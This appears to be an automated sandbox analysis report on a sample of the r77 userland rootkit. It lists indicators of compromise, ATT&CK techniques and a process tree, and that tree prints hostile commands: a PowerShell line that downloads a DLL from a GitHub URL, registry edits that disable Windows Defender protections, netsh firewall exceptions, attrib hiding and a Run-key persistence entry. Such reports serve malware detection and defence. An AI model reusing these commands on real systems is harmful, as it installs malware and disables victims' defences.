r77 | 361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	$77-.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	$77-.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	$77-.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	$77-.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	$77-.exe

R77 family
r77
r77
r77 is an open-source, userland rootkit.
rootkit r77

r77 rootkit payload 1 IoCs

Detects the payload of the r77 rootkit.

resource	yara_rule
behavioral2/files/0x000400000001ec18-50.dat	r77_payload

Blocklisted process makes network request 2 IoCs

flow	pid	Process
31	692	powershell.exe
33	692	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
58	1464	Process not Found
33	692	powershell.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4100	netsh.exe
1904	netsh.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3844	attrib.exe
4896	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1318997816-2171176372-1451785247-1000\Control Panel\International\Geo\Nation	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1318997816-2171176372-1451785247-1000\Control Panel\International\Geo\Nation	$77-.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-.exe	$77-.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-.exe	$77-.exe

Executes dropped EXE 1 IoCs

pid	Process
2384	$77-.exe

Loads dropped DLL 5 IoCs

pid	Process
1464	Process not Found
2304	Process not Found
1732	Process not Found
4916	vssvc.exe
2288	Process not Found

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	$77-.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	$77-.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1318997816-2171176372-1451785247-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77- = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-.exe"	$77-.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
692	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
27	discord.com
28	discord.com
32	raw.githubusercontent.com
33	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77-.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4668	MicrosoftEdgeUpdate.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
692	powershell.exe
692	powershell.exe
2648	powershell.exe
2648	powershell.exe
4916	vssvc.exe
4916	vssvc.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	$77-.exe
Token: SeDebugPrivilege	692	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeBackupPrivilege	4916	vssvc.exe
Token: SeRestorePrivilege	4916	vssvc.exe
Token: SeAuditPrivilege	4916	vssvc.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe
Token: 33	2384	$77-.exe
Token: SeIncBasePriorityPrivilege	2384	$77-.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4436 wrote to memory of 708	4436	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	88
PID 4436 wrote to memory of 708	4436	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	88
PID 4436 wrote to memory of 708	4436	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	88
PID 708 wrote to memory of 3844	708	cmd.exe	90
PID 708 wrote to memory of 3844	708	cmd.exe	90
PID 708 wrote to memory of 3844	708	cmd.exe	90
PID 4436 wrote to memory of 2384	4436	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	91
PID 4436 wrote to memory of 2384	4436	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	91
PID 4436 wrote to memory of 2384	4436	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	91
PID 2384 wrote to memory of 1204	2384	$77-.exe	92
PID 2384 wrote to memory of 1204	2384	$77-.exe	92
PID 2384 wrote to memory of 1204	2384	$77-.exe	92
PID 1204 wrote to memory of 4896	1204	cmd.exe	94
PID 1204 wrote to memory of 4896	1204	cmd.exe	94
PID 1204 wrote to memory of 4896	1204	cmd.exe	94
PID 2384 wrote to memory of 4100	2384	$77-.exe	95
PID 2384 wrote to memory of 4100	2384	$77-.exe	95
PID 2384 wrote to memory of 4100	2384	$77-.exe	95
PID 2384 wrote to memory of 1904	2384	$77-.exe	96
PID 2384 wrote to memory of 1904	2384	$77-.exe	96
PID 2384 wrote to memory of 1904	2384	$77-.exe	96
PID 2384 wrote to memory of 1232	2384	$77-.exe	99
PID 2384 wrote to memory of 1232	2384	$77-.exe	99
PID 2384 wrote to memory of 1232	2384	$77-.exe	99
PID 1232 wrote to memory of 692	1232	cmd.exe	101
PID 1232 wrote to memory of 692	1232	cmd.exe	101
PID 1232 wrote to memory of 692	1232	cmd.exe	101
PID 2384 wrote to memory of 2648	2384	$77-.exe	106
PID 2384 wrote to memory of 2648	2384	$77-.exe	106
PID 2384 wrote to memory of 2648	2384	$77-.exe	106

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3844	attrib.exe
4896	attrib.exe

C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe
"C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:708
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe"
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:3844
- C:\ProgramData\$77-.exe
  "C:\ProgramData\$77-.exe"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Modifies Windows Defender TamperProtection settings
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Windows security modification
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r "C:\ProgramData\$77-.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1204
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r "C:\ProgramData\$77-.exe"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4896
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\ProgramData\$77-.exe" "$77-.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4100
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\ProgramData\$77-.exe" "$77-.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rot.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1232
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\ProgramData\\r77-x64.dll');exit
      4⤵
      Blocklisted process makes network request
      Downloads MZ/PE file
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:692
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell" Get-MpPreference -verbose
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2648

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NDczRDdCMTMtQUY4MC00NjEyLUJFQzAtRkUyNENFOTFFQzE3fSIgdXNlcmlkPSJ7NDdERjI5NjEtMjAzNC00RUIyLTlCQkItNzA1N0E2RjE1MDEwfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7MEQ5QTZCRTAtN0VEMC00MTE4LUEwNjEtRTM3QkU2RDg3OUNEfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI1IiBpbnN0YWxsZGF0ZXRpbWU9IjE3MzkyODMzNzEiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4Mzc1NDE5Mjc1MzAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MTE2MDE0NjkyIi8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:4668

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry